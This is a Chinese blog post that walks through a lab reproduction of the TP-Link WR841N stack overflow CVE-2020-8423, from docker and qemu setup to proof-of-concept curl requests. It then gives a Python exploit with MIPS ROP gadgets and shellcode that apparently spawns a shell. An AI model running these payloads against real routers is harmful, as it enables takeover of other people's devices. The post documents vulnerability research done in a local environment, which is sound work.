TP-Link WR841N 栈溢出漏洞(CVE-2020-8423)

第一次搞iot相关,对mips的汇编还不是很熟,先熟悉一下搭环境,之后再去理解原理,这里记录一下环境搭建流程。虽然iot-vulhub已经都做好了docker,但在自己复现的时候还是多多少少会有些问题。

IoT-vulhub基础环境搭建

#安装pip
$ curl -s https://bootstrap.pypa.io/get-pip.py | python3#安装docker
#命令行输docker,根据提示安装就行# 启动 docker 服务
$ systemctl start docker# 安装 docker-compose
$ python3 -m pip install docker-compose

先下载IoT-vulhub项目

$ git clone https://github.com/firmianay/IoT-vulhub.git

构建基础镜像

# 注意-t标签不要写错,后面不少Dockerfile根据这个名称来拉的# 构建 ubuntu1604 基础镜像
$ cd baseImage/ubuntu1604 && docker build -t firmianay/ubuntu1604 .# 构建 binwalk 容器,方便使用
$ cd baseImage/binwalk && docker build -t firmianay/binwalk .# 构建 qemu mips 环境
$ cd baseImage/qemu-system/mips
# 运行下载脚本
$ ./images/download.sh
# 镜像构建
$ docker build -t firmianay/qemu-system:mips .

漏洞环境搭建

漏洞环境

  • docker:攻击、调试主机:192.168.2.1
  • qemu-system:固件主机:192.168.2.2
  • httpd(有漏洞 Web 服务器):192.168.2.2:80
  • 镜像依赖:firmianay/ubuntu1604 -> firmianay/qemu-system:mips

漏洞镜像构建

# 先切换到相应的目录
$ cd TP-Link/CVE-2020-8423# 使用 firmianay/binwalk 解压固件:
$ docker run --rm -v $PWD/firmware/:/root/firmware firmianay/binwalk -Mer "/root/firmware/wr841nv10_wr841ndv10_en_3_16_9_up_boot(150310).bin"# 初始化环境
$ ./init_env.sh mips# 构建镜像
$ docker-compose -f docker-compose-system.yml build

启动环境

# 启动容器
$ docker-compose -f docker-compose-system.yml up

启动的过程有点慢

# 启动完成后,开启 socks 代理
$ ssh -D 2345 root@127.0.0.1 -p 1234

当系统开始不断的跳如下界面说明启动成功,接下来就可以访问http服务了。

本机访问http服务需要挂sock5代理,如下图所示,只需填socks处的主机和端口

然后就可以访问web服务啦,账号admin/admin登入

漏洞验证

根据登入之后的path和cookie就可以验证漏洞了

登陆后得到得到 cookie(如%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D)和 path(如DHJSQKMAPYZXIIXB):

假如是在docker中访问直接按照项目给的curl命令就行

$ curl -H 'Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D' 'http://192.168.2.2/DHJSQKMAPYZXIIXB/userRpm/popupSiteSurveyRpm_AP.htm?mode=1000&curRegion=1000&chanWidth=100&channel=1000&ssid='$(python -c 'print("/%0A"*0x55 + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac")')''

运行完之后就访问不了了

假如是在本机验证还需要加上-x设置socks5代理参数

$ curl -x socks5://127.0.0.1:2345 -H 'Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D' 'http://192.168.2.2/IXFWMIHBBQRZJFPA/userRpm/popupSiteSurveyRpm_AP.htm?mode=1000&curRegion=1000&chanWidth=100&channel=1000&ssid='$(python -c 'print("/%0A"*0x55 + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac")')''

效果和上面一样

exp运行

exp.py放在system-emu/tools目录下面,需要修改path和cookie参数,以及请求头中的User-Agent参数

这个exp说实话感觉有点迷惑。。。docker环境里装了的是python3的pwntools,但是exp运行环境是python2。然后请求的时候原来脚本用的是session.get,但代理貌似没有开起来,所以我exp里又改成了request.get,因为session.get不支持socks5代理,只支持http和https代理。

修改之后的exp

#!/usr/bin/python2from pwn import *
import requests
import urllib
context.endian = 'big'
libc_base = 0x77d2a000
sleep = 0x53CA0 #end 00053ECCg1 = 0x000E204 #0x77F47204
#LOAD:0000E204                 move    $t9, $s1
#LOAD:0000E208                 jalr    $t9 ; sysconf
#LOAD:0000E20C                 li      $a0, 3
g2 = 0x00037470
#LOAD:00037470                 move    $t9, $s2
#LOAD:00037474                 lw      $ra, 0x28+var_4($sp)
#LOAD:00037478                 lw      $s2, 0x28+var_8($sp)
#LOAD:0003747C                 lw      $s1, 0x28+var_C($sp)
#LOAD:00037480                 lw      $s0, 0x28+var_10($sp)
#LOAD:00037484
#LOAD:00037484 loc_37484:
#LOAD:00037484                 jr      $t9 ; xdr_opaque_auth
#LOAD:00037488                 addiu   $sp, 0x28
g3 = 0x0000E904 #0x77f47904
#LOAD:0000E904                 addiu   $a1, $sp, 0x168+var_150
#LOAD:0000E908                 move    $t9, $s1
#LOAD:0000E90C                 jalr    $t9 ; stat64
#LOAD:0000E910                 addiu   $a0, (aErrorNetrcFile+0x28 - 0x60000)
g4 = 0x00374D8
#LOAD:000374D8                 move    $t9, $a1
#LOAD:000374DC                 sw      $v0, 0x4C($a0)
#LOAD:000374E0                 move    $a1, $a2
#LOAD:000374E4                 jr      $t9
#LOAD:000374E8                 addiu   $a0, 0x4C  # 'L'shellcode  = "\x24\x0e\xff\xfd\x01\xc0\x20\x27\x01\xc0\x28\x27\x28\x06\xff\xff"
shellcode += "\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff"
shellcode += "\x34\x0e\xff\xff\x01\xc0\x70\x27\xaf\xae\xff\xf6\xaf\xae\xff\xf4"
shellcode += "\x34\x0f\xd8\xf0\x01\xe0\x78\x27\xaf\xaf\xff\xf2\x34\x0f\xff\xfd"
shellcode += "\x01\xe0\x78\x27\xaf\xaf\xff\xf0\x27\xa5\xff\xf2\x24\x0f\xff\xef"
shellcode += "\x01\xe0\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x8f\xa4\xff\xff"
shellcode += "\x28\x05\xff\xff\x24\x02\x0f\xdf\x01\x01\x01\x0c\x2c\x05\xff\xff"
shellcode += "\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\xff\xfd\x01\xc0\x28\x27"
shellcode += "\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\x3d\x28\xaf\xae\xff\xe2"
shellcode += "\x24\x0e\x77\xf9\xaf\xae\xff\xe0\x8f\xa4\xff\xe2\x28\x05\xff\xff"
shellcode += "\x28\x06\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c"s0 = p32(0x11111111)
s1 = p32(g2+libc_base)  # break
s2 = p32(sleep+libc_base)payload  = "/%0A"*0x55 + 2*'x' + s0 + s1 + s2
payload += p32(g1+libc_base)
payload += 'x'*28
payload += p32(g4+libc_base)    #s1
payload += p32(0x33333333)      #s2
payload += p32(g3+libc_base)    #ra
payload += 'x'*24
payload += shellcodedef exp(path,cookie):headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0","Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))}params = {"mode":"1000","curRegion":"1000","chanWidth":"100","channel":"1000","ssid":urllib.unquote(payload)}url="http://192.168.2.2:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path))resp = requests.get(url,params=params,headers=headers,timeout=10,proxies={'http':'socks5://127.0.0.1:2345'})print(resp.text)exp("AEAMATJAMXMAVVYB","%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")

运行之后效果图

这里的shellcode可能还有点问题,看上去感觉是执行sleep的,但是运行完exp显示的是SIGSEGV,有待考察,不过肯定栈溢出了。

流量抓取

开了代理的话就只能本地访问然后在docker容器里去抓了,结果tcpdump有问题,尝试了修复链接库,但是无果,还好之前编译过静态的tcpdump,拿过来直接用就完事了。

把编译好的tcpdump复制进容器,在容器(代理服务器)中抓流量

$ ./tcpdump -s 0 -w 1.pcap port 80

栈溢出漏洞CVE-2020-8423复现相关推荐

  1. java栈溢出漏洞cve,TP-Link WR841N 栈溢出漏洞(CVE-2020-8423)分析

    简介 前段时间 TP-LINK TL-WR841N 设备爆出了一个认证后的栈溢出漏洞,借机复现了一下这个栈溢出漏洞,其中有一些在漏洞利用上的小技巧在此和大家分享一下. 漏洞信息如下: 漏洞编号:CVE ...

  2. 什么是cve什么是cwe_什么是CVE 2020 0601又名Curveball,为何如此危险

    什么是cve什么是cwe Monday the 13th of January Brian Krebs published on his blog that he had sources tellin ...

  3. vivotek栈溢出漏洞复现

    一.前言 近日公司进了一批摄像头,以前还没有做过这方面的研究所以找了一个vivotek 2017年的栈溢出漏洞拿来练练手. 二.固件仿真 虚拟机环境:Ubuntu 20.04 gdb版本:GNU gd ...

  4. Adobe Reader栈溢出漏洞(CVE-2010-2883)分析

    文章目录 漏洞描述 测试环境 静态分析 定位触发点 分析漏洞成因 动态调试 获取SING表的入口地址 溢出点 精心挑选的返回地址 JavaScript实现HeapSpray 利用ROP链绕过DEP保护 ...

  5. [系统安全] 八.Windows漏洞利用之CVE-2019-0708复现及防御详解

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  6. NetLogon特权提升漏洞(CVE-2020-1472)复现及问题解决

    NetLogon特权提升漏洞(CVE-2020-1472)复现 漏洞描述 2020年08月12日,Windows官方 发布了 NetLogon 特权提升漏洞 的风险通告,该漏洞编号为 CVE-2020 ...

  7. Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用

    Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用 测试环境及工具: windbg IDA winxp sp3 这算是正式调试分析的第一个漏洞,也是跟着一位学长的博客做一 ...

  8. 【vulhub】Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现与反思!

    特征 1.8090端口 2.confluence图标(如图所示) 搭建环境 搭建confluence看这4篇教程,该cve搭建是用Confluence Server, 但是tm就是没有Confluen ...

  9. Vivotek 摄像头远程栈溢出漏洞分析及利用

    近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃. 漏洞作者@bashis 放出了可造成摄像头 Crash 的 PoC :https://www. ...

最新文章

  1. Web设计离不开的4项基本原则
  2. volatile关键字的作用、原理
  3. linux作业控制三个,10个linux 作业控制的bash 脚本实例
  4. struts2的OGNL表达式理解(一)
  5. 如何应付表数据过大的查询问题?(如何尽量避免大表关联)[转]
  6. 安装es怎么在后台运行_ES备份索引数据到阿里云OSS
  7. java 协议栈_深入浅出讲解低功耗蓝牙(BLE)协议栈
  8. 华大 MCU 之一 HC32F460 替换 STM32F411 移植记录
  9. 你必须懂的 T4 模板:深入浅出
  10. 2021第一波新年(春节)中国风插画设计,为年底储备素材
  11. python字典有什么用_Python中的字典介绍
  12. Spring Boot 2 Webflux的全局异常处理
  13. recv( )函数返回值说明
  14. java判断输入大写字母,java用ascii码判断输入的是大写字母,小写字母还是数字...
  15. 从0使用keil5软件仿真调试GD32F305
  16. 曙光服务器安装centOS8
  17. 获取浏览器视口宽高以及元素宽高
  18. 程序员如何保持身体健康
  19. 转陈皓老师的无锁队列的实现
  20. 【python 走进NLP】simhash 算法计算两篇文章相似度

热门文章

  1. HTML基础 总结【1】
  2. 经济管理 第2章 微观市场机制分析
  3. 怎样才能拿到期货开户最低的手续费?
  4. 学习笔记-java基础-网络编程
  5. 程序猿reading 自我修炼
  6. amplitude adjusted Fourier transform(AAFT)是一种什么样的数学方法?
  7. 湘大1218 A+BVIII
  8. android 自定义心形,android使用贝塞尔曲线自定义心形View
  9. 详解u盘怎么重装系统win7,u盘一键安装win7
  10. 简单socket 聊天室 C/S模式 小例子